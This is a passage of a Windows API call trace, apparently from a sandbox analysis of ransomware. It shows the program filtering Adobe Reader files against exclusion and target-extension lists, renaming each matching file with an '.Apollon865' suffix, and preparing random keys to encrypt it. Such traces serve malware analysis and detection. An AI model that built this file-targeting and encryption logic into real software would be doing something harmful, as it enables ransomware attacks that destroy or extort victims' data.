	[0058.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.809] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=130560) returned 1
	[0058.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.809] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.810] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.810] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.810] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20100, lpName=0x0) returned 0x154
	[0058.812] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20100) returned 0x120000
	[0058.819] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.820] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.820] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.820] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.821] CloseHandle (hObject=0x154) returned 1
	[0058.821] CloseHandle (hObject=0x14c) returned 1
	[0058.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.822] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1
	[0058.822] lstrcmpiW (lpString1="DigSig.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.822] lstrcmpiW (lpString1="DigSig.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0058.822] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".") returned 1
	[0058.822] lstrcmpiW (lpString1="DigSig.CAT", lpString2="..") returned 1
	[0058.822] lstrcmpiW (lpString1="DigSig.CAT", lpString2="windows") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="bootmgr") returned 1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="temp") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="pagefile.sys") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="boot") returned 1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="ids.txt") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="ntuser.dat") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="perflogs") returned -1
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2="MSBuild") returned -1
	[0058.823] lstrlenW (lpString="DigSig.CAT") returned 10
	[0058.823] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT") returned 73
	[0058.823] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DigSig.CAT" | out: lpString1="DigSig.CAT") returned="DigSig.CAT"
	[0058.823] lstrlenW (lpString="DigSig.CAT") returned 10
	[0058.823] lstrlenW (lpString="Apollon865") returned 10
	[0058.823] lstrlenW (lpString=".dll") returned 4
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".dll") returned 1
	[0058.823] lstrlenW (lpString=".lnk") returned 4
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".lnk") returned 1
	[0058.823] lstrlenW (lpString=".ini") returned 4
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".ini") returned 1
	[0058.823] lstrlenW (lpString=".sys") returned 4
	[0058.823] lstrcmpiW (lpString1="DigSig.CAT", lpString2=".sys") returned 1
	[0058.823] lstrlenW (lpString="DigSig.CAT") returned 10
	[0058.823] lstrlenW (lpString="bak") returned 3
	[0058.823] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.823] lstrlenW (lpString="ba_") returned 3
	[0058.823] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.823] lstrlenW (lpString="dbb") returned 3
	[0058.823] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.823] lstrlenW (lpString="vmdk") returned 4
	[0058.823] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.823] lstrlenW (lpString="rar") returned 3
	[0058.823] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.823] lstrlenW (lpString="zip") returned 3
	[0058.823] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.824] lstrlenW (lpString="tgz") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.824] lstrlenW (lpString="vbox") returned 4
	[0058.824] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.824] lstrlenW (lpString="vdi") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.824] lstrlenW (lpString="vhd") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.824] lstrlenW (lpString="vhdx") returned 4
	[0058.824] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.824] lstrlenW (lpString="avhd") returned 4
	[0058.824] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.824] lstrlenW (lpString="db") returned 2
	[0058.824] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.824] lstrlenW (lpString="db2") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.824] lstrlenW (lpString="db3") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.824] lstrlenW (lpString="dbf") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.824] lstrlenW (lpString="mdf") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.824] lstrlenW (lpString="mdb") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.824] lstrlenW (lpString="sql") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.824] lstrlenW (lpString="sqlite") returned 6
	[0058.824] lstrcmpiW (lpString1="ig.CAT", lpString2="sqlite") returned -1
	[0058.824] lstrlenW (lpString="sqlite3") returned 7
	[0058.824] lstrcmpiW (lpString1="Sig.CAT", lpString2="sqlite3") returned -1
	[0058.824] lstrlenW (lpString="sqlitedb") returned 8
	[0058.824] lstrcmpiW (lpString1="gSig.CAT", lpString2="sqlitedb") returned -1
	[0058.824] lstrlenW (lpString="xml") returned 3
	[0058.824] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.824] lstrlenW (lpString="$er") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.825] lstrlenW (lpString="4dd") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.825] lstrlenW (lpString="4dl") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.825] lstrlenW (lpString="^^^") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.825] lstrlenW (lpString="abs") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.825] lstrlenW (lpString="abx") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.825] lstrlenW (lpString="accdb") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accdb") returned 1
	[0058.825] lstrlenW (lpString="accdc") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accdc") returned 1
	[0058.825] lstrlenW (lpString="accde") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accde") returned 1
	[0058.825] lstrlenW (lpString="accdr") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accdr") returned 1
	[0058.825] lstrlenW (lpString="accdt") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accdt") returned 1
	[0058.825] lstrlenW (lpString="accdw") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accdw") returned 1
	[0058.825] lstrlenW (lpString="accft") returned 5
	[0058.825] lstrcmpiW (lpString1="g.CAT", lpString2="accft") returned 1
	[0058.825] lstrlenW (lpString="adb") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.825] lstrlenW (lpString="adb") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.825] lstrlenW (lpString="ade") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.825] lstrlenW (lpString="adf") returned 3
	[0058.825] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.825] lstrlenW (lpString="adn") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.826] lstrlenW (lpString="adp") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.826] lstrlenW (lpString="alf") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.826] lstrlenW (lpString="ask") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.826] lstrlenW (lpString="btr") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.826] lstrlenW (lpString="cat") returned 3
	[0058.826] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.826] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT.Apollon865") returned 82
	[0058.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.827] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=132096) returned 1
	[0058.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.828] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.829] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.829] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.829] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20700, lpName=0x0) returned 0x154
	[0058.830] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20700) returned 0x120000
	[0058.890] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.891] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.891] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0058.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0058.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.892] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.893] CloseHandle (hObject=0x154) returned 1
	[0058.893] CloseHandle (hObject=0x14c) returned 1
	[0058.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.893] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.894] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2=".") returned 1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="..") returned 1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="windows") returned -1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="bootmgr") returned 1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="temp") returned -1
	[0058.894] lstrcmpiW (lpString1="DVA.CAT", lpString2="pagefile.sys") returned -1
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2="boot") returned 1
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2="ids.txt") returned -1
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2="ntuser.dat") returned -1
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2="perflogs") returned -1
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2="MSBuild") returned -1
	[0058.895] lstrlenW (lpString="DVA.CAT") returned 7
	[0058.895] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT") returned 71
	[0058.895] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DVA.CAT" | out: lpString1="DVA.CAT") returned="DVA.CAT"
	[0058.895] lstrlenW (lpString="DVA.CAT") returned 7
	[0058.895] lstrlenW (lpString="Apollon865") returned 10
	[0058.895] lstrlenW (lpString=".dll") returned 4
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2=".dll") returned 1
	[0058.895] lstrlenW (lpString=".lnk") returned 4
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2=".lnk") returned 1
	[0058.895] lstrlenW (lpString=".ini") returned 4
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2=".ini") returned 1
	[0058.895] lstrlenW (lpString=".sys") returned 4
	[0058.895] lstrcmpiW (lpString1="DVA.CAT", lpString2=".sys") returned 1
	[0058.895] lstrlenW (lpString="DVA.CAT") returned 7
	[0058.895] lstrlenW (lpString="bak") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.895] lstrlenW (lpString="ba_") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.895] lstrlenW (lpString="dbb") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.895] lstrlenW (lpString="vmdk") returned 4
	[0058.895] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.895] lstrlenW (lpString="rar") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.895] lstrlenW (lpString="zip") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.895] lstrlenW (lpString="tgz") returned 3
	[0058.895] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.895] lstrlenW (lpString="vbox") returned 4
	[0058.895] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.896] lstrlenW (lpString="vdi") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.896] lstrlenW (lpString="vhd") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.896] lstrlenW (lpString="vhdx") returned 4
	[0058.896] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.896] lstrlenW (lpString="avhd") returned 4
	[0058.896] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.896] lstrlenW (lpString="db") returned 2
	[0058.896] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.896] lstrlenW (lpString="db2") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.896] lstrlenW (lpString="db3") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.896] lstrlenW (lpString="dbf") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.896] lstrlenW (lpString="mdf") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.896] lstrlenW (lpString="mdb") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.896] lstrlenW (lpString="sql") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.896] lstrlenW (lpString="sqlite") returned 6
	[0058.896] lstrcmpiW (lpString1="VA.CAT", lpString2="sqlite") returned 1
	[0058.896] lstrlenW (lpString="sqlite3") returned 7
	[0058.896] lstrlenW (lpString="sqlitedb") returned 8
	[0058.896] lstrlenW (lpString="xml") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.896] lstrlenW (lpString="$er") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.896] lstrlenW (lpString="4dd") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.896] lstrlenW (lpString="4dl") returned 3
	[0058.896] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.896] lstrlenW (lpString="^^^") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.897] lstrlenW (lpString="abs") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.897] lstrlenW (lpString="abx") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.897] lstrlenW (lpString="accdb") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accdb") returned -1
	[0058.897] lstrlenW (lpString="accdc") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accdc") returned -1
	[0058.897] lstrlenW (lpString="accde") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accde") returned -1
	[0058.897] lstrlenW (lpString="accdr") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accdr") returned -1
	[0058.897] lstrlenW (lpString="accdt") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accdt") returned -1
	[0058.897] lstrlenW (lpString="accdw") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accdw") returned -1
	[0058.897] lstrlenW (lpString="accft") returned 5
	[0058.897] lstrcmpiW (lpString1="A.CAT", lpString2="accft") returned -1
	[0058.897] lstrlenW (lpString="adb") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.897] lstrlenW (lpString="adb") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.897] lstrlenW (lpString="ade") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.897] lstrlenW (lpString="adf") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.897] lstrlenW (lpString="adn") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.897] lstrlenW (lpString="adp") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.897] lstrlenW (lpString="alf") returned 3
	[0058.897] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.898] lstrlenW (lpString="ask") returned 3
	[0058.898] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.898] lstrlenW (lpString="btr") returned 3
	[0058.898] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.898] lstrlenW (lpString="cat") returned 3
	[0058.898] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.898] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT.Apollon865") returned 79
	[0058.898] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.899] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.899] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=19456) returned 1
	[0058.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.899] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.899] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.900] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.900] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.900] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f00, lpName=0x0) returned 0x15c
	[0058.921] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f00) returned 0x100000
	[0058.986] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0058.987] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.987] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
